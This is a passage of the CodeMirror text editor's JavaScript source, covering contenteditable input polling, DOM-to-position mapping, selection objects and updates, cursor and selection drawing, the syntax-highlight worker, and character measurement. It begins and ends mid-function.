        if (input.cm.state.focused) {
          input.pollSelection();
          input.polling.set(input.cm.options.pollInterval, poll);
        }
      }
      this.polling.set(this.cm.options.pollInterval, poll);
    },

    selectionChanged: function() {
      var sel = window.getSelection();
      return sel.anchorNode != this.lastAnchorNode || sel.anchorOffset != this.lastAnchorOffset ||
        sel.focusNode != this.lastFocusNode || sel.focusOffset != this.lastFocusOffset;
    },

    pollSelection: function() {
      if (!this.composing && !this.gracePeriod && this.selectionChanged()) {
        var sel = window.getSelection(), cm = this.cm;
        this.rememberSelection();
        var anchor = domToPos(cm, sel.anchorNode, sel.anchorOffset);
        var head = domToPos(cm, sel.focusNode, sel.focusOffset);
        if (anchor && head) runInOp(cm, function() {
          setSelection(cm.doc, simpleSelection(anchor, head), sel_dontScroll);
          if (anchor.bad || head.bad) cm.curOp.selectionChanged = true;
        });
      }
    },

    pollContent: function() {
      var cm = this.cm, display = cm.display, sel = cm.doc.sel.primary();
      var from = sel.from(), to = sel.to();
      if (from.line < display.viewFrom || to.line > display.viewTo - 1) return false;

      var fromIndex;
      if (from.line == display.viewFrom || (fromIndex = findViewIndex(cm, from.line)) == 0) {
        var fromLine = lineNo(display.view[0].line);
        var fromNode = display.view[0].node;
      } else {
        var fromLine = lineNo(display.view[fromIndex].line);
        var fromNode = display.view[fromIndex - 1].node.nextSibling;
      }
      var toIndex = findViewIndex(cm, to.line);
      if (toIndex == display.view.length - 1) {
        var toLine = display.viewTo - 1;
        var toNode = display.lineDiv.lastChild;
      } else {
        var toLine = lineNo(display.view[toIndex + 1].line) - 1;
        var toNode = display.view[toIndex + 1].node.previousSibling;
      }

      var newText = cm.doc.splitLines(domTextBetween(cm, fromNode, toNode, fromLine, toLine));
      var oldText = getBetween(cm.doc, Pos(fromLine, 0), Pos(toLine, getLine(cm.doc, toLine).text.length));
      while (newText.length > 1 && oldText.length > 1) {
        if (lst(newText) == lst(oldText)) { newText.pop(); oldText.pop(); toLine--; }
        else if (newText[0] == oldText[0]) { newText.shift(); oldText.shift(); fromLine++; }
        else break;
      }

      var cutFront = 0, cutEnd = 0;
      var newTop = newText[0], oldTop = oldText[0], maxCutFront = Math.min(newTop.length, oldTop.length);
      while (cutFront < maxCutFront && newTop.charCodeAt(cutFront) == oldTop.charCodeAt(cutFront))
        ++cutFront;
      var newBot = lst(newText), oldBot = lst(oldText);
      var maxCutEnd = Math.min(newBot.length - (newText.length == 1 ? cutFront : 0),
                               oldBot.length - (oldText.length == 1 ? cutFront : 0));
      while (cutEnd < maxCutEnd &&
             newBot.charCodeAt(newBot.length - cutEnd - 1) == oldBot.charCodeAt(oldBot.length - cutEnd - 1))
        ++cutEnd;

      newText[newText.length - 1] = newBot.slice(0, newBot.length - cutEnd);
      newText[0] = newText[0].slice(cutFront);

      var chFrom = Pos(fromLine, cutFront);
      var chTo = Pos(toLine, oldText.length ? lst(oldText).length - cutEnd : 0);
      if (newText.length > 1 || newText[0] || cmp(chFrom, chTo)) {
        replaceRange(cm.doc, newText, chFrom, chTo, "+input");
        return true;
      }
    },

    ensurePolled: function() {
      this.forceCompositionEnd();
    },
    reset: function() {
      this.forceCompositionEnd();
    },
    forceCompositionEnd: function() {
      if (!this.composing || this.composing.handled) return;
      this.applyComposition(this.composing);
      this.composing.handled = true;
      this.div.blur();
      this.div.focus();
    },
    applyComposition: function(composing) {
      if (isReadOnly(this.cm))
        operation(this.cm, regChange)(this.cm)
      else if (composing.data && composing.data != composing.startData)
        operation(this.cm, applyTextInput)(this.cm, composing.data, 0, composing.sel);
    },

    setUneditable: function(node) {
      node.contentEditable = "false"
    },

    onKeyPress: function(e) {
      e.preventDefault();
      if (!isReadOnly(this.cm))
        operation(this.cm, applyTextInput)(this.cm, String.fromCharCode(e.charCode == null ? e.keyCode : e.charCode), 0);
    },

    readOnlyChanged: function(val) {
      this.div.contentEditable = String(val != "nocursor")
    },

    onContextMenu: nothing,
    resetPosition: nothing,

    needsContentAttribute: true
  }, ContentEditableInput.prototype);

  function posToDOM(cm, pos) {
    var view = findViewForLine(cm, pos.line);
    if (!view || view.hidden) return null;
    var line = getLine(cm.doc, pos.line);
    var info = mapFromLineView(view, line, pos.line);

    var order = getOrder(line), side = "left";
    if (order) {
      var partPos = getBidiPartAt(order, pos.ch);
      side = partPos % 2 ? "right" : "left";
    }
    var result = nodeAndOffsetInLineMap(info.map, pos.ch, side);
    result.offset = result.collapse == "right" ? result.end : result.start;
    return result;
  }

  function badPos(pos, bad) { if (bad) pos.bad = true; return pos; }

  function domToPos(cm, node, offset) {
    var lineNode;
    if (node == cm.display.lineDiv) {
      lineNode = cm.display.lineDiv.childNodes[offset];
      if (!lineNode) return badPos(cm.clipPos(Pos(cm.display.viewTo - 1)), true);
      node = null; offset = 0;
    } else {
      for (lineNode = node;; lineNode = lineNode.parentNode) {
        if (!lineNode || lineNode == cm.display.lineDiv) return null;
        if (lineNode.parentNode && lineNode.parentNode == cm.display.lineDiv) break;
      }
    }
    for (var i = 0; i < cm.display.view.length; i++) {
      var lineView = cm.display.view[i];
      if (lineView.node == lineNode)
        return locateNodeInLineView(lineView, node, offset);
    }
  }

  function locateNodeInLineView(lineView, node, offset) {
    var wrapper = lineView.text.firstChild, bad = false;
    if (!node || !contains(wrapper, node)) return badPos(Pos(lineNo(lineView.line), 0), true);
    if (node == wrapper) {
      bad = true;
      node = wrapper.childNodes[offset];
      offset = 0;
      if (!node) {
        var line = lineView.rest ? lst(lineView.rest) : lineView.line;
        return badPos(Pos(lineNo(line), line.text.length), bad);
      }
    }

    var textNode = node.nodeType == 3 ? node : null, topNode = node;
    if (!textNode && node.childNodes.length == 1 && node.firstChild.nodeType == 3) {
      textNode = node.firstChild;
      if (offset) offset = textNode.nodeValue.length;
    }
    while (topNode.parentNode != wrapper) topNode = topNode.parentNode;
    var measure = lineView.measure, maps = measure.maps;

    function find(textNode, topNode, offset) {
      for (var i = -1; i < (maps ? maps.length : 0); i++) {
        var map = i < 0 ? measure.map : maps[i];
        for (var j = 0; j < map.length; j += 3) {
          var curNode = map[j + 2];
          if (curNode == textNode || curNode == topNode) {
            var line = lineNo(i < 0 ? lineView.line : lineView.rest[i]);
            var ch = map[j] + offset;
            if (offset < 0 || curNode != textNode) ch = map[j + (offset ? 1 : 0)];
            return Pos(line, ch);
          }
        }
      }
    }
    var found = find(textNode, topNode, offset);
    if (found) return badPos(found, bad);

    // FIXME this is all really shaky. might handle the few cases it needs to handle, but likely to cause problems
    for (var after = topNode.nextSibling, dist = textNode ? textNode.nodeValue.length - offset : 0; after; after = after.nextSibling) {
      found = find(after, after.firstChild, 0);
      if (found)
        return badPos(Pos(found.line, found.ch - dist), bad);
      else
        dist += after.textContent.length;
    }
    for (var before = topNode.previousSibling, dist = offset; before; before = before.previousSibling) {
      found = find(before, before.firstChild, -1);
      if (found)
        return badPos(Pos(found.line, found.ch + dist), bad);
      else
        dist += after.textContent.length;
    }
  }

  function domTextBetween(cm, from, to, fromLine, toLine) {
    var text = "", closing = false, lineSep = cm.doc.lineSeparator();
    function recognizeMarker(id) { return function(marker) { return marker.id == id; }; }
    function walk(node) {
      if (node.nodeType == 1) {
        var cmText = node.getAttribute("cm-text");
        if (cmText != null) {
          if (cmText == "") cmText = node.textContent.replace(/\u200b/g, "");
          text += cmText;
          return;
        }
        var markerID = node.getAttribute("cm-marker"), range;
        if (markerID) {
          var found = cm.findMarks(Pos(fromLine, 0), Pos(toLine + 1, 0), recognizeMarker(+markerID));
          if (found.length && (range = found[0].find()))
            text += getBetween(cm.doc, range.from, range.to).join(lineSep);
          return;
        }
        if (node.getAttribute("contenteditable") == "false") return;
        for (var i = 0; i < node.childNodes.length; i++)
          walk(node.childNodes[i]);
        if (/^(pre|div|p)$/i.test(node.nodeName))
          closing = true;
      } else if (node.nodeType == 3) {
        var val = node.nodeValue;
        if (!val) return;
        if (closing) {
          text += lineSep;
          closing = false;
        }
        text += val;
      }
    }
    for (;;) {
      walk(from);
      if (from == to) break;
      from = from.nextSibling;
    }
    return text;
  }

  CodeMirror.inputStyles = {"textarea": TextareaInput, "contenteditable": ContentEditableInput};

  // SELECTION / CURSOR

  // Selection objects are immutable. A new one is created every time
  // the selection changes. A selection is one or more non-overlapping
  // (and non-touching) ranges, sorted, and an integer that indicates
  // which one is the primary selection (the one that's scrolled into
  // view, that getCursor returns, etc).
  function Selection(ranges, primIndex) {
    this.ranges = ranges;
    this.primIndex = primIndex;
  }

  Selection.prototype = {
    primary: function() { return this.ranges[this.primIndex]; },
    equals: function(other) {
      if (other == this) return true;
      if (other.primIndex != this.primIndex || other.ranges.length != this.ranges.length) return false;
      for (var i = 0; i < this.ranges.length; i++) {
        var here = this.ranges[i], there = other.ranges[i];
        if (cmp(here.anchor, there.anchor) != 0 || cmp(here.head, there.head) != 0) return false;
      }
      return true;
    },
    deepCopy: function() {
      for (var out = [], i = 0; i < this.ranges.length; i++)
        out[i] = new Range(copyPos(this.ranges[i].anchor), copyPos(this.ranges[i].head));
      return new Selection(out, this.primIndex);
    },
    somethingSelected: function() {
      for (var i = 0; i < this.ranges.length; i++)
        if (!this.ranges[i].empty()) return true;
      return false;
    },
    contains: function(pos, end) {
      if (!end) end = pos;
      for (var i = 0; i < this.ranges.length; i++) {
        var range = this.ranges[i];
        if (cmp(end, range.from()) >= 0 && cmp(pos, range.to()) <= 0)
          return i;
      }
      return -1;
    }
  };

  function Range(anchor, head) {
    this.anchor = anchor; this.head = head;
  }

  Range.prototype = {
    from: function() { return minPos(this.anchor, this.head); },
    to: function() { return maxPos(this.anchor, this.head); },
    empty: function() {
      return this.head.line == this.anchor.line && this.head.ch == this.anchor.ch;
    }
  };

  // Take an unsorted, potentially overlapping set of ranges, and
  // build a selection out of it. 'Consumes' ranges array (modifying
  // it).
  function normalizeSelection(ranges, primIndex) {
    var prim = ranges[primIndex];
    ranges.sort(function(a, b) { return cmp(a.from(), b.from()); });
    primIndex = indexOf(ranges, prim);
    for (var i = 1; i < ranges.length; i++) {
      var cur = ranges[i], prev = ranges[i - 1];
      if (cmp(prev.to(), cur.from()) >= 0) {
        var from = minPos(prev.from(), cur.from()), to = maxPos(prev.to(), cur.to());
        var inv = prev.empty() ? cur.from() == cur.head : prev.from() == prev.head;
        if (i <= primIndex) --primIndex;
        ranges.splice(--i, 2, new Range(inv ? to : from, inv ? from : to));
      }
    }
    return new Selection(ranges, primIndex);
  }

  function simpleSelection(anchor, head) {
    return new Selection([new Range(anchor, head || anchor)], 0);
  }

  // Most of the external API clips given positions to make sure they
  // actually exist within the document.
  function clipLine(doc, n) {return Math.max(doc.first, Math.min(n, doc.first + doc.size - 1));}
  function clipPos(doc, pos) {
    if (pos.line < doc.first) return Pos(doc.first, 0);
    var last = doc.first + doc.size - 1;
    if (pos.line > last) return Pos(last, getLine(doc, last).text.length);
    return clipToLen(pos, getLine(doc, pos.line).text.length);
  }
  function clipToLen(pos, linelen) {
    var ch = pos.ch;
    if (ch == null || ch > linelen) return Pos(pos.line, linelen);
    else if (ch < 0) return Pos(pos.line, 0);
    else return pos;
  }
  function isLine(doc, l) {return l >= doc.first && l < doc.first + doc.size;}
  function clipPosArray(doc, array) {
    for (var out = [], i = 0; i < array.length; i++) out[i] = clipPos(doc, array[i]);
    return out;
  }

  // SELECTION UPDATES

  // The 'scroll' parameter given to many of these indicated whether
  // the new cursor position should be scrolled into view after
  // modifying the selection.

  // If shift is held or the extend flag is set, extends a range to
  // include a given position (and optionally a second position).
  // Otherwise, simply returns the range between the given positions.
  // Used for cursor motion and such.
  function extendRange(doc, range, head, other) {
    if (doc.cm && doc.cm.display.shift || doc.extend) {
      var anchor = range.anchor;
      if (other) {
        var posBefore = cmp(head, anchor) < 0;
        if (posBefore != (cmp(other, anchor) < 0)) {
          anchor = head;
          head = other;
        } else if (posBefore != (cmp(head, other) < 0)) {
          head = other;
        }
      }
      return new Range(anchor, head);
    } else {
      return new Range(other || head, head);
    }
  }

  // Extend the primary selection range, discard the rest.
  function extendSelection(doc, head, other, options) {
    setSelection(doc, new Selection([extendRange(doc, doc.sel.primary(), head, other)], 0), options);
  }

  // Extend all selections (pos is an array of selections with length
  // equal the number of selections)
  function extendSelections(doc, heads, options) {
    for (var out = [], i = 0; i < doc.sel.ranges.length; i++)
      out[i] = extendRange(doc, doc.sel.ranges[i], heads[i], null);
    var newSel = normalizeSelection(out, doc.sel.primIndex);
    setSelection(doc, newSel, options);
  }

  // Updates a single range in the selection.
  function replaceOneSelection(doc, i, range, options) {
    var ranges = doc.sel.ranges.slice(0);
    ranges[i] = range;
    setSelection(doc, normalizeSelection(ranges, doc.sel.primIndex), options);
  }

  // Reset the selection to a single range.
  function setSimpleSelection(doc, anchor, head, options) {
    setSelection(doc, simpleSelection(anchor, head), options);
  }

  // Give beforeSelectionChange handlers a change to influence a
  // selection update.
  function filterSelectionChange(doc, sel) {
    var obj = {
      ranges: sel.ranges,
      update: function(ranges) {
        this.ranges = [];
        for (var i = 0; i < ranges.length; i++)
          this.ranges[i] = new Range(clipPos(doc, ranges[i].anchor),
                                     clipPos(doc, ranges[i].head));
      }
    };
    signal(doc, "beforeSelectionChange", doc, obj);
    if (doc.cm) signal(doc.cm, "beforeSelectionChange", doc.cm, obj);
    if (obj.ranges != sel.ranges) return normalizeSelection(obj.ranges, obj.ranges.length - 1);
    else return sel;
  }

  function setSelectionReplaceHistory(doc, sel, options) {
    var done = doc.history.done, last = lst(done);
    if (last && last.ranges) {
      done[done.length - 1] = sel;
      setSelectionNoUndo(doc, sel, options);
    } else {
      setSelection(doc, sel, options);
    }
  }

  // Set a new selection.
  function setSelection(doc, sel, options) {
    setSelectionNoUndo(doc, sel, options);
    addSelectionToHistory(doc, doc.sel, doc.cm ? doc.cm.curOp.id : NaN, options);
  }

  function setSelectionNoUndo(doc, sel, options) {
    if (hasHandler(doc, "beforeSelectionChange") || doc.cm && hasHandler(doc.cm, "beforeSelectionChange"))
      sel = filterSelectionChange(doc, sel);

    var bias = options && options.bias ||
      (cmp(sel.primary().head, doc.sel.primary().head) < 0 ? -1 : 1);
    setSelectionInner(doc, skipAtomicInSelection(doc, sel, bias, true));

    if (!(options && options.scroll === false) && doc.cm)
      ensureCursorVisible(doc.cm);
  }

  function setSelectionInner(doc, sel) {
    if (sel.equals(doc.sel)) return;

    doc.sel = sel;

    if (doc.cm) {
      doc.cm.curOp.updateInput = doc.cm.curOp.selectionChanged = true;
      signalCursorActivity(doc.cm);
    }
    signalLater(doc, "cursorActivity", doc);
  }

  // Verify that the selection does not partially select any atomic
  // marked ranges.
  function reCheckSelection(doc) {
    setSelectionInner(doc, skipAtomicInSelection(doc, doc.sel, null, false), sel_dontScroll);
  }

  // Return a selection that does not partially select any atomic
  // ranges.
  function skipAtomicInSelection(doc, sel, bias, mayClear) {
    var out;
    for (var i = 0; i < sel.ranges.length; i++) {
      var range = sel.ranges[i];
      var newAnchor = skipAtomic(doc, range.anchor, bias, mayClear);
      var newHead = skipAtomic(doc, range.head, bias, mayClear);
      if (out || newAnchor != range.anchor || newHead != range.head) {
        if (!out) out = sel.ranges.slice(0, i);
        out[i] = new Range(newAnchor, newHead);
      }
    }
    return out ? normalizeSelection(out, sel.primIndex) : sel;
  }

  // Ensure a given position is not inside an atomic range.
  function skipAtomic(doc, pos, bias, mayClear) {
    var flipped = false, curPos = pos;
    var dir = bias || 1;
    doc.cantEdit = false;
    search: for (;;) {
      var line = getLine(doc, curPos.line);
      if (line.markedSpans) {
        for (var i = 0; i < line.markedSpans.length; ++i) {
          var sp = line.markedSpans[i], m = sp.marker;
          if ((sp.from == null || (m.inclusiveLeft ? sp.from <= curPos.ch : sp.from < curPos.ch)) &&
              (sp.to == null || (m.inclusiveRight ? sp.to >= curPos.ch : sp.to > curPos.ch))) {
            if (mayClear) {
              signal(m, "beforeCursorEnter");
              if (m.explicitlyCleared) {
                if (!line.markedSpans) break;
                else {--i; continue;}
              }
            }
            if (!m.atomic) continue;
            var newPos = m.find(dir < 0 ? -1 : 1);
            if (cmp(newPos, curPos) == 0) {
              newPos.ch += dir;
              if (newPos.ch < 0) {
                if (newPos.line > doc.first) newPos = clipPos(doc, Pos(newPos.line - 1));
                else newPos = null;
              } else if (newPos.ch > line.text.length) {
                if (newPos.line < doc.first + doc.size - 1) newPos = Pos(newPos.line + 1, 0);
                else newPos = null;
              }
              if (!newPos) {
                if (flipped) {
                  // Driven in a corner -- no valid cursor position found at all
                  // -- try again *with* clearing, if we didn't already
                  if (!mayClear) return skipAtomic(doc, pos, bias, true);
                  // Otherwise, turn off editing until further notice, and return the start of the doc
                  doc.cantEdit = true;
                  return Pos(doc.first, 0);
                }
                flipped = true; newPos = pos; dir = -dir;
              }
            }
            curPos = newPos;
            continue search;
          }
        }
      }
      return curPos;
    }
  }

  // SELECTION DRAWING

  function updateSelection(cm) {
    cm.display.input.showSelection(cm.display.input.prepareSelection());
  }

  function prepareSelection(cm, primary) {
    var doc = cm.doc, result = {};
    var curFragment = result.cursors = document.createDocumentFragment();
    var selFragment = result.selection = document.createDocumentFragment();

    for (var i = 0; i < doc.sel.ranges.length; i++) {
      if (primary === false && i == doc.sel.primIndex) continue;
      var range = doc.sel.ranges[i];
      var collapsed = range.empty();
      if (collapsed || cm.options.showCursorWhenSelecting)
        drawSelectionCursor(cm, range.head, curFragment);
      if (!collapsed)
        drawSelectionRange(cm, range, selFragment);
    }
    return result;
  }

  // Draws a cursor for the given range
  function drawSelectionCursor(cm, head, output) {
    var pos = cursorCoords(cm, head, "div", null, null, !cm.options.singleCursorHeightPerLine);

    var cursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor"));
    cursor.style.left = pos.left + "px";
    cursor.style.top = pos.top + "px";
    cursor.style.height = Math.max(0, pos.bottom - pos.top) * cm.options.cursorHeight + "px";

    if (pos.other) {
      // Secondary cursor, shown when on a 'jump' in bi-directional text
      var otherCursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor CodeMirror-secondarycursor"));
      otherCursor.style.display = "";
      otherCursor.style.left = pos.other.left + "px";
      otherCursor.style.top = pos.other.top + "px";
      otherCursor.style.height = (pos.other.bottom - pos.other.top) * .85 + "px";
    }
  }

  // Draws the given range as a highlighted selection
  function drawSelectionRange(cm, range, output) {
    var display = cm.display, doc = cm.doc;
    var fragment = document.createDocumentFragment();
    var padding = paddingH(cm.display), leftSide = padding.left;
    var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;

    function add(left, top, width, bottom) {
      if (top < 0) top = 0;
      top = Math.round(top);
      bottom = Math.round(bottom);
      fragment.appendChild(elt("div", null, "CodeMirror-selected", "position: absolute; left: " + left +
                               "px; top: " + top + "px; width: " + (width == null ? rightSide - left : width) +
                               "px; height: " + (bottom - top) + "px"));
    }

    function drawForLine(line, fromArg, toArg) {
      var lineObj = getLine(doc, line);
      var lineLen = lineObj.text.length;
      var start, end;
      function coords(ch, bias) {
        return charCoords(cm, Pos(line, ch), "div", lineObj, bias);
      }

      iterateBidiSections(getOrder(lineObj), fromArg || 0, toArg == null ? lineLen : toArg, function(from, to, dir) {
        var leftPos = coords(from, "left"), rightPos, left, right;
        if (from == to) {
          rightPos = leftPos;
          left = right = leftPos.left;
        } else {
          rightPos = coords(to - 1, "right");
          if (dir == "rtl") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }
          left = leftPos.left;
          right = rightPos.right;
        }
        if (fromArg == null && from == 0) left = leftSide;
        if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part
          add(left, leftPos.top, null, leftPos.bottom);
          left = leftSide;
          if (leftPos.bottom < rightPos.top) add(left, leftPos.bottom, null, rightPos.top);
        }
        if (toArg == null && to == lineLen) right = rightSide;
        if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)
          start = leftPos;
        if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)
          end = rightPos;
        if (left < leftSide + 1) left = leftSide;
        add(left, rightPos.top, right - left, rightPos.bottom);
      });
      return {start: start, end: end};
    }

    var sFrom = range.from(), sTo = range.to();
    if (sFrom.line == sTo.line) {
      drawForLine(sFrom.line, sFrom.ch, sTo.ch);
    } else {
      var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);
      var singleVLine = visualLine(fromLine) == visualLine(toLine);
      var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;
      var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;
      if (singleVLine) {
        if (leftEnd.top < rightStart.top - 2) {
          add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);
          add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);
        } else {
          add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);
        }
      }
      if (leftEnd.bottom < rightStart.top)
        add(leftSide, leftEnd.bottom, null, rightStart.top);
    }

    output.appendChild(fragment);
  }

  // Cursor-blinking
  function restartBlink(cm) {
    if (!cm.state.focused) return;
    var display = cm.display;
    clearInterval(display.blinker);
    var on = true;
    display.cursorDiv.style.visibility = "";
    if (cm.options.cursorBlinkRate > 0)
      display.blinker = setInterval(function() {
        display.cursorDiv.style.visibility = (on = !on) ? "" : "hidden";
      }, cm.options.cursorBlinkRate);
    else if (cm.options.cursorBlinkRate < 0)
      display.cursorDiv.style.visibility = "hidden";
  }

  // HIGHLIGHT WORKER

  function startWorker(cm, time) {
    if (cm.doc.mode.startState && cm.doc.frontier < cm.display.viewTo)
      cm.state.highlight.set(time, bind(highlightWorker, cm));
  }

  function highlightWorker(cm) {
    var doc = cm.doc;
    if (doc.frontier < doc.first) doc.frontier = doc.first;
    if (doc.frontier >= cm.display.viewTo) return;
    var end = +new Date + cm.options.workTime;
    var state = copyState(doc.mode, getStateBefore(cm, doc.frontier));
    var changedLines = [];

    doc.iter(doc.frontier, Math.min(doc.first + doc.size, cm.display.viewTo + 500), function(line) {
      if (doc.frontier >= cm.display.viewFrom) { // Visible
        var oldStyles = line.styles, tooLong = line.text.length > cm.options.maxHighlightLength;
        var highlighted = highlightLine(cm, line, tooLong ? copyState(doc.mode, state) : state, true);
        line.styles = highlighted.styles;
        var oldCls = line.styleClasses, newCls = highlighted.classes;
        if (newCls) line.styleClasses = newCls;
        else if (oldCls) line.styleClasses = null;
        var ischange = !oldStyles || oldStyles.length != line.styles.length ||
          oldCls != newCls && (!oldCls || !newCls || oldCls.bgClass != newCls.bgClass || oldCls.textClass != newCls.textClass);
        for (var i = 0; !ischange && i < oldStyles.length; ++i) ischange = oldStyles[i] != line.styles[i];
        if (ischange) changedLines.push(doc.frontier);
        line.stateAfter = tooLong ? state : copyState(doc.mode, state);
      } else {
        if (line.text.length <= cm.options.maxHighlightLength)
          processLine(cm, line.text, state);
        line.stateAfter = doc.frontier % 5 == 0 ? copyState(doc.mode, state) : null;
      }
      ++doc.frontier;
      if (+new Date > end) {
        startWorker(cm, cm.options.workDelay);
        return true;
      }
    });
    if (changedLines.length) runInOp(cm, function() {
      for (var i = 0; i < changedLines.length; i++)
        regLineChange(cm, changedLines[i], "text");
    });
  }

  // Finds the line to start with when starting a parse. Tries to
  // find a line with a stateAfter, so that it can start with a
  // valid state. If that fails, it returns the line with the
  // smallest indentation, which tends to need the least context to
  // parse correctly.
  function findStartLine(cm, n, precise) {
    var minindent, minline, doc = cm.doc;
    var lim = precise ? -1 : n - (cm.doc.mode.innerMode ? 1000 : 100);
    for (var search = n; search > lim; --search) {
      if (search <= doc.first) return doc.first;
      var line = getLine(doc, search - 1);
      if (line.stateAfter && (!precise || search <= doc.frontier)) return search;
      var indented = countColumn(line.text, null, cm.options.tabSize);
      if (minline == null || minindent > indented) {
        minline = search - 1;
        minindent = indented;
      }
    }
    return minline;
  }

  function getStateBefore(cm, n, precise) {
    var doc = cm.doc, display = cm.display;
    if (!doc.mode.startState) return true;
    var pos = findStartLine(cm, n, precise), state = pos > doc.first && getLine(doc, pos-1).stateAfter;
    if (!state) state = startState(doc.mode);
    else state = copyState(doc.mode, state);
    doc.iter(pos, n, function(line) {
      processLine(cm, line.text, state);
      var save = pos == n - 1 || pos % 5 == 0 || pos >= display.viewFrom && pos < display.viewTo;
      line.stateAfter = save ? copyState(doc.mode, state) : null;
      ++pos;
    });
    if (precise) doc.frontier = pos;
    return state;
  }

  // POSITION MEASUREMENT

  function paddingTop(display) {return display.lineSpace.offsetTop;}
  function paddingVert(display) {return display.mover.offsetHeight - display.lineSpace.offsetHeight;}
  function paddingH(display) {
    if (display.cachedPaddingH) return display.cachedPaddingH;
    var e = removeChildrenAndAdd(display.measure, elt("pre", "x"));
    var style = window.getComputedStyle ? window.getComputedStyle(e) : e.currentStyle;
    var data = {left: parseInt(style.paddingLeft), right: parseInt(style.paddingRight)};
    if (!isNaN(data.left) && !isNaN(data.right)) display.cachedPaddingH = data;
    return data;
  }

  function scrollGap(cm) { return scrollerGap - cm.display.nativeBarWidth; }
  function displayWidth(cm) {
    return cm.display.scroller.clientWidth - scrollGap(cm) - cm.display.barWidth;
  }
  function displayHeight(cm) {
    return cm.display.scroller.clientHeight - scrollGap(cm) - cm.display.barHeight;
  }

  // Ensure the lineView.wrapping.heights array is populated. This is
  // an array of bottom offsets for the lines that make up a drawn
  // line. When lineWrapping is on, there might be more than one
  // height.
  function ensureLineHeights(cm, lineView, rect) {
    var wrapping = cm.options.lineWrapping;
    var curWidth = wrapping && displayWidth(cm);
    if (!lineView.measure.heights || wrapping && lineView.measure.width != curWidth) {
      var heights = lineView.measure.heights = [];
      if (wrapping) {
        lineView.measure.width = curWidth;
        var rects = lineView.text.firstChild.getClientRects();
        for (var i = 0; i < rects.length - 1; i++) {
          var cur = rects[i], next = rects[i + 1];
          if (Math.abs(cur.bottom - next.bottom) > 2)
            heights.push((cur.bottom + next.top) / 2 - rect.top);
        }
      }
      heights.push(rect.bottom - rect.top);
    }
  }

  // Find a line map (mapping character offsets to text nodes) and a
  // measurement cache for the given line number. (A line view might
  // contain multiple lines when collapsed ranges are present.)
  function mapFromLineView(lineView, line, lineN) {
    if (lineView.line == line)
      return {map: lineView.measure.map, cache: lineView.measure.cache};
    for (var i = 0; i < lineView.rest.length; i++)
      if (lineView.rest[i] == line)
        return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i]};
    for (var i = 0; i < lineView.rest.length; i++)
      if (lineNo(lineView.rest[i]) > lineN)
        return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i], before: true};
  }

  // Render a line into the hidden node display.externalMeasured. Used
  // when measurement is needed for a line that's not in the viewport.
  function updateExternalMeasurement(cm, line) {
    line = visualLine(line);
    var lineN = lineNo(line);
    var view = cm.display.externalMeasured = new LineView(cm.doc, line, lineN);
    view.lineN = lineN;
    var built = view.built = buildLineContent(cm, view);
    view.text = built.pre;
    removeChildrenAndAdd(cm.display.lineMeasure, built.pre);
    return view;
  }

  // Get a {top, bottom, left, right} box (in line-local coordinates)
  // for a given character.
  function measureChar(cm, line, ch, bias) {
    return measureCharPrepared(cm, prepareMeasureForLine(cm, line), ch, bias);
  }

  // Find a line view that corresponds to the given line number.
  function findViewForLine(cm, lineN) {
    if (lineN >= cm.display.viewFrom && lineN < cm.display.viewTo)
      return cm.display.view[findViewIndex(cm, lineN)];
    var ext = cm.display.externalMeasured;
    if (ext && lineN >= ext.lineN && lineN < ext.lineN + ext.size)
      return ext;
  }

  // Measurement can be split in two steps, the set-up work that
  // applies to the whole line, and the measurement of the actual
  // character. Functions like coordsChar, that need to do a lot of
  // measurements in a row, can thus ensure that the set-up work is
  // only done once.
  function prepareMeasureForLine(cm, line) {
    var lineN = lineNo(line);
    var view = findViewForLine(cm, lineN);
    if (view && !view.text) {
      view = null;
    } else if (view && view.changes) {
      updateLineForChanges(cm, view, lineN, getDimensions(cm));
      cm.curOp.forceUpdate = true;
    }
    if (!view)
      view = updateExternalMeasurement(cm, line);

    var info = mapFromLineView(view, line, lineN);
    return {
      line: line, view: view, rect: null,
      map: info.map, cache: info.cache, before: info.before,
      hasHeights: false
    };
  }

  // Given a prepared measurement object, measures the position of an
  // actual character (or fetches it from the cache).
  function measureCharPrepared(cm, prepared, ch, bias, varHeight) {
    if (prepared.before) ch = -1;
    var key = ch + (bias || ""), found;
    if (prepared.cache.hasOwnProperty(key)) {
      found = prepared.cache[key];
    } else {
      if (!prepared.rect)
        prepared.rect = prepared.view.text.getBoundingClientRect();
      if (!prepared.hasHeights) {
        ensureLineHeights(cm, prepared.view, prepared.rect);
        prepared.hasHeights = true;
      }
      found = measureCharInner(cm, prepared, ch, bias);
      if (!found.bogus) prepared.cache[key] = found;
    }
    return {left: found.left, right: found.right,
            top: varHeight ? found.rtop : found.top,
            bottom: varHeight ? found.rbottom : found.bottom};
  }

  var nullRect = {left: 0, right: 0, top: 0, bottom: 0};

  function nodeAndOffsetInLineMap(map, ch, bias) {
    var node, start, end, collapse;
    // First, search the line map for the text node corresponding to,
    // or closest to, the target character.
    for (var i = 0; i < map.length; i += 3) {
      var mStart = map[i], mEnd = map[i + 1];
      if (ch < mStart) {
        start = 0; end = 1;
        collapse = "left";
      } else if (ch < mEnd) {
        start = ch - mStart;
        end = start + 1;
      } else if (i == map.length - 3 || ch == mEnd && map[i + 3] > ch) {
        end = mEnd - mStart;
        start = end - 1;
        if (ch >= mEnd) collapse = "right";
      }
      if (start != null) {
        node = map[i + 2];
        if (mStart == mEnd && bias == (node.insertLeft ? "left" : "right"))
          collapse = bias;
        if (bias == "left" && start == 0)
          while (i && map[i - 2] == map[i - 3] && map[i - 1].insertLeft) {
            node = map[(i -= 3) + 2];
            collapse = "left";
          }
        if (bias == "right" && start == mEnd - mStart)
